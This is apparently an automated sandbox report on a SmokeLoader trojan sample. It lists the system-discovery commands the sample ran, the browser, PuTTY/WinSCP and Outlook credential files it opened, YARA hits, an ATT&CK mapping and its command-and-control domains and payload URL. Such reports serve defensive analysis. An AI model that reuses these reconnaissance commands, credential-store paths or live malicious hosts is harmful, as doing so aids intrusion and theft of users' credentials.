Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\SecurityCenter2 Path AntiSpywareProduct Get displayName /format:csv	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_Processor Get Name,DeviceID,NumberOfCores /format:csv	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_Product Get Name,Version /format:csv	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_NetworkAdapter Where PhysicalAdapter=TRUE Get Name,MACAddress,ProductName,ServiceName,NetConnectionID /format:csv	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_StartupCommand Get Name,Location,Command /format:csv	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_OperatingSystem Get Caption,CSDVersion,BuildNumber,Version,BuildType,CountryCode,CurrentTimeZone,InstallDate,LastBootUpTime,Locale,OSArchitecture,OSLanguage,OSProductSuite,OSType,SystemDirectory,Organization,RegisteredUser,SerialNumber /format:csv	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_Process Get Caption,CommandLine,ExecutablePath,ProcessId /format:csv	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_Volume Get Name,Label,FileSystem,SerialNumber,BootVolume,Capacity,DriveType /format:csv	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_UserAccount Get Name,Domain,AccountType,LocalAccount,Disabled,Status,SID /format:csv	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_GroupUser Get GroupComponent,PartComponent /format:csv	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_ComputerSystem Get Caption,Manufacturer,PrimaryOwnerName,UserName,Workgroup /format:csv	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_PnPEntity Where ClassGuid="{50dd5230-ba8a-11d1-bf5d-0000f805f530}" Get Name,DeviceID,PNPDeviceID,Manufacturer,Description /format:csv	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ipconfig.exe ipconfig /displaydns	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ROUTE.EXE route print	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh firewall show state	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\systeminfo.exe systeminfo	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /v /fo csv	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 path win32_operatingsystem get caption,csdversion,buildnumber,version,buildtype,countrycode,currenttimezone,installdate,lastbootuptime,locale,osarchitecture,oslanguage,osproductsuite,ostype,systemdirectory,organization,registereduser,serialnumber /format:csv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 path win32_operatingsystem get caption,csdversion,buildnumber,version,buildtype,countrycode,currenttimezone,installdate,lastbootuptime,locale,osarchitecture,oslanguage,osproductsuite,ostype,systemdirectory,organization,registereduser,serialnumber /format:csv			Jump to behavior

Source: explorer.exe, 00000001.00000000.1777211765.0000000004CE0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1779684746.0000000009815000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1775938824.00000000018A0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000001.00000000.1775938824.00000000018A0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000001.00000000.1775685561.0000000001240000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 1Progman$
Source: explorer.exe, 00000001.00000000.1775938824.00000000018A0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock
Source: explorer.exe, 00000001.00000000.1775938824.00000000018A0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: }Program Manager

Source: C:\Windows\SysWOW64\explorer.exe

Code function: 12_2_031455EB cpuid

12_2_031455EB

Source: C:\Users\user\AppData\Local\Temp\9245.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Windows\System32\netsh.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\9245.exe

Code function: 10_2_00007FF7327A9224 GetSystemTimeAsFileTime,WaitForSingleObject,GetSystemTimeAsFileTime,TerminateProcess,WaitForSingleObject,GetExitCodeProcess,

10_2_00007FF7327A9224

Source: C:\Windows\SysWOW64\explorer.exe

Code function: 12_2_030F2198 RtlZeroMemory,GetVersionExW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,RtlCompareMemory,RtlCompareMemory,StrStrIW,FreeLibrary,

12_2_030F2198

Source: C:\Users\user\AppData\Local\Temp\9245.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Modifies the windows firewall

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\netsh.exe netsh firewall show state

Uses netsh to modify the Windows network and firewall settings

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\netsh.exe netsh firewall show state

Source: 9245.exe, 0000000A.00000002.4175619168.000002988741C000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\AppData\Local\Temp\9245.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\9245.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Users\user\AppData\Local\Temp\9245.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntiSpywareProduct
Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT displayName FROM AntiVirusProduct
Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT displayName FROM FirewallProduct
Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT displayName FROM AntiSpywareProduct

Stealing of Sensitive Information

Yara detected SmokeLoader

Source: Yara match	File source: 00000007.00000002.2263785204.0000000000710000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2045484809.0000000001FE1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1799134235.0000000000540000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2106729164.0000000002101000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2520412148.00000000020D1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2106441385.0000000000530000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2264170490.00000000020E1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2045088261.00000000004B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1799202066.0000000000561000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2520072402.0000000000710000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.4174510515.0000000000581000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.4174299297.0000000000821000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: explorer.exe PID: 5368, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: explorer.exe PID: 5292, type: MEMORYSTR

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\SysWOW64\explorer.exe

Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\explorer.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Remote Access Functionality

Yara detected SmokeLoader

Source: Yara match	File source: 00000007.00000002.2263785204.0000000000710000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2045484809.0000000001FE1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1799134235.0000000000540000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2106729164.0000000002101000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2520412148.00000000020D1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2106441385.0000000000530000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2264170490.00000000020E1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2045088261.00000000004B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1799202066.0000000000561000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2520072402.0000000000710000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.4174510515.0000000000581000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.4174299297.0000000000821000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: explorer.exe PID: 5368, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: explorer.exe PID: 5292, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	241 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	2 Disable or Modify Tools	1 OS Credential Dumping	1 System Time Discovery	Remote Services	11 Archive Collected Data	3 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 Data Encrypted for Impact
Credentials	Domains	Default Accounts	11 Native API	Boot or Logon Initialization Scripts	422 Process Injection	1 Deobfuscate/Decode Files or Information	11 Input Capture	3 File and Directory Discovery	Remote Desktop Protocol	1 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	2 Obfuscated Files or Information	1 Credentials in Registry	249 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Command and Scripting Interpreter	Login Hook	Login Hook	1 Software Packing	NTDS	881 Security Software Discovery	Distributed Component Object Model	11 Input Capture	115 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	34 Virtualization/Sandbox Evasion	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 File Deletion	Cached Domain Credentials	4 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Masquerading	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	34 Virtualization/Sandbox Evasion	Proc Filesystem	1 System Network Configuration Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	422 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	1 Hidden Files and Directories	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
bCnarg2O62.exe	39%	ReversingLabs	Win32.Trojan.Smokeloader
bCnarg2O62.exe	100%	Avira	HEUR/AGEN.1310247
bCnarg2O62.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Roaming\derhswe	100%	Avira	HEUR/AGEN.1310247
C:\Users\user\AppData\Local\Temp\1D0F.exe	100%	Avira	HEUR/AGEN.1310247
C:\Users\user\AppData\Roaming\jfrhswe	100%	Avira	HEUR/AGEN.1310247
C:\Users\user\AppData\Roaming\derhswe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1D0F.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\jfrhswe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\9245.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\derhswe	39%	ReversingLabs	Win32.Trojan.Smokeloader

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV	0%	URL Reputation	safe
https://powerpoint.office.comcember	0%	URL Reputation	safe
https://api.msn.com:443/v1/news/Feed/Windows?	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://excel.office.com	0%	URL Reputation	safe
http://schemas.micro	0%	URL Reputation	safe
https://windows.msn.com:443/shellv2?osLocale=en-GB&chosenMarketReason=ImplicitNew	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
https://activity.windows.com/UserActivity.ReadWrite.CreatedByAppcrobat.exe	0%	URL Reputation	safe
https://word.office.com	0%	URL Reputation	safe
https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earnings	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNew	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://android.notify.windows.com/iOS	0%	URL Reputation	safe
https://api.msn.com/	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV-dark	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	unknown
ninjahallnews.com	23.145.40.168	true	true	unknown
nwgrus.ru	109.175.29.39	true	true	unknown
fp2e7a.wpc.phicdn.net	192.229.221.95	true	false	unknown

Contacted URLs

Name	Malicious	Reputation
https://23.145.40.164/ksa9104.exe	false	unknown
https://ninjahallnews.com/search.php	true	unknown
https://fallhandbat.com/search.php	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://aka.ms/odirmr	explorer.exe, 00000001.00000000.1777426774.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/chrome_newtab	explorer.exe, 0000000C.00000003.2706066309.0000000003441000.00000004.00000020.00020000.00000000.sdmp, DF4B.tmp.12.dr	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	explorer.exe, 0000000C.00000003.2706066309.0000000003441000.00000004.00000020.00020000.00000000.sdmp, DF4B.tmp.12.dr	false	URL Reputation: safe	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV	explorer.exe, 00000001.00000000.1777426774.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ninjahallnews.com/earch.php	explorer.exe, 0000000C.00000002.2734650053.00000000033D0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.msn.com/en-us/news/us/when-does-daylight-saving-time-end-2023-here-s-when-to-set-your-cl	explorer.exe, 00000001.00000000.1777426774.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://powerpoint.office.comcember	explorer.exe, 00000001.00000000.1783714743.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.msn.com:443/v1/news/Feed/Windows?	explorer.exe, 00000001.00000000.1777426774.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1779684746.00000000097D4000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ninjahallnews.com/search.phpMozilla/5.0	explorer.exe, 0000000C.00000002.2734650053.00000000033D0000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.2671360392.0000000000828000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.4175889505.0000000002E77000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4175623064.00000000009C8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000013.00000002.4175797278.00000000032F7000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000014.00000002.4174637350.0000000000F18000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.msn.com/en-us/money/personalfinance/no-wonder-the-american-public-is-confused-if-you-re-	explorer.exe, 00000001.00000000.1777426774.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	explorer.exe, 0000000C.00000003.2706066309.0000000003441000.00000004.00000020.00020000.00000000.sdmp, DF4B.tmp.12.dr	false	URL Reputation: safe	unknown
https://excel.office.com	explorer.exe, 00000001.00000000.1783714743.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.micro	explorer.exe, 00000001.00000000.1778417663.0000000007F40000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000001.00000000.1780694925.0000000009B60000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000001.00000000.1778954174.0000000008720000.00000002.00000001.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ninjahallnews.com:443/search.phpge	explorer.exe, 0000000C.00000002.2734650053.00000000033D0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.msn.com/en-us/news/us/a-nationwide-emergency-alert-will-be-sent-to-all-u-s-cellphones-we	explorer.exe, 00000001.00000000.1777426774.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://simpleflying.com/how-do-you-become-an-air-traffic-controller/	explorer.exe, 00000001.00000000.1777426774.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gTUY	explorer.exe, 00000001.00000000.1777426774.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://windows.msn.com:443/shellv2?osLocale=en-GB&chosenMarketReason=ImplicitNew	explorer.exe, 00000001.00000000.1777426774.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gHZu-dark	explorer.exe, 00000001.00000000.1777426774.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	explorer.exe, 0000000C.00000003.2706066309.0000000003441000.00000004.00000020.00020000.00000000.sdmp, DF4B.tmp.12.dr	false	URL Reputation: safe	unknown
https://www.msn.com/en-us/lifestyle/travel/i-ve-worked-at-a-campsite-for-5-years-these-are-the-15-mi	explorer.exe, 00000001.00000000.1777426774.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://api.msn.com/q	explorer.exe, 00000001.00000000.1779684746.00000000097D4000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://api.msn.com/v1/news/Feed/Windows?activityId=0CC40BF291614022B7DF6E2143E8A6AF&timeOut=5000&oc	explorer.exe, 00000001.00000000.1777426774.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://activity.windows.com/UserActivity.ReadWrite.CreatedByAppcrobat.exe	explorer.exe, 00000001.00000000.1783714743.000000000C893000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.msn.com/en-us/lifestyle/lifestyle-buzz/biden-makes-decision-that-will-impact-more-than-1	explorer.exe, 00000001.00000000.1777426774.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://assets.msn.com/staticsb/statics/latest/traffic/Notification/desktop/svg/RoadHazard.svg	explorer.exe, 00000001.00000000.1777426774.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMeu-dark	explorer.exe, 00000001.00000000.1777426774.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://www.msn.com/en-us/money/personalfinance/13-states-that-don-t-tax-your-retirement-income/ar-A	explorer.exe, 00000001.00000000.1777426774.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1777426774.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/AAehR3S.svg	explorer.exe, 00000001.00000000.1777426774.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		unknown
http://www.autoitscript.com/autoit3/J	explorer.exe, 00000001.00000000.1783714743.000000000C964000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://wns.windows.com/L	explorer.exe, 00000001.00000000.1783714743.000000000C557000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://word.office.com	explorer.exe, 00000001.00000000.1783714743.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	explorer.exe, 0000000C.00000003.2706066309.0000000003441000.00000004.00000020.00020000.00000000.sdmp, DF4B.tmp.12.dr	false		unknown
https://ninjahallnews.com/	explorer.exe, 0000000C.00000002.2734650053.00000000033D0000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.2734650053.0000000003446000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.2734650053.000000000345A000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://ninjahallnews.com/application/x-www-form-urlencodedMozilla/5.0	explorer.exe, 0000000C.00000002.2734650053.0000000003446000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earnings	explorer.exe, 00000001.00000000.1777426774.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gHZu	explorer.exe, 00000001.00000000.1777426774.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://www.msn.com/en-us/news/topic/breast%20cancer%20awareness%20month?ocid=winp1headerevent	explorer.exe, 00000001.00000000.1777426774.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://www.msn.com/en-us/weather/topstories/us-weather-super-el-nino-to-bring-more-flooding-and-win	explorer.exe, 00000001.00000000.1777426774.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	explorer.exe, 0000000C.00000003.2706066309.0000000003441000.00000004.00000020.00020000.00000000.sdmp, DF4B.tmp.12.dr	false	URL Reputation: safe	unknown
https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNew	explorer.exe, 00000001.00000000.1777426774.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.ecosia.org/newtab/	explorer.exe, 0000000C.00000003.2706066309.0000000003441000.00000004.00000020.00020000.00000000.sdmp, DF4B.tmp.12.dr	false	URL Reputation: safe	unknown
https://www.msn.com/en-us/news/politics/clarence-thomas-in-spotlight-as-supreme-court-delivers-blow-	explorer.exe, 00000001.00000000.1777426774.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://aka.ms/Vh5j3k	explorer.exe, 00000001.00000000.1777426774.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://ac.ecosia.org/autocomplete?q=	explorer.exe, 0000000C.00000003.2706066309.0000000003441000.00000004.00000020.00020000.00000000.sdmp, DF4B.tmp.12.dr	false	URL Reputation: safe	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMeu	explorer.exe, 00000001.00000000.1777426774.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://api.msn.com/v1/news/Feed/Windows?&	explorer.exe, 00000001.00000000.1779684746.00000000096DF000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Teaser/humidity.svg	explorer.exe, 00000001.00000000.1777426774.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gTUY-dark	explorer.exe, 00000001.00000000.1777426774.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://www.rd.com/list/polite-habits-campers-dislike/	explorer.exe, 00000001.00000000.1777426774.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://android.notify.windows.com/iOS	explorer.exe, 00000001.00000000.1783714743.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.msn.com/en-us/news/us/metro-officials-still-investigating-friday-s-railcar-derailment/ar	explorer.exe, 00000001.00000000.1777426774.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		unknown
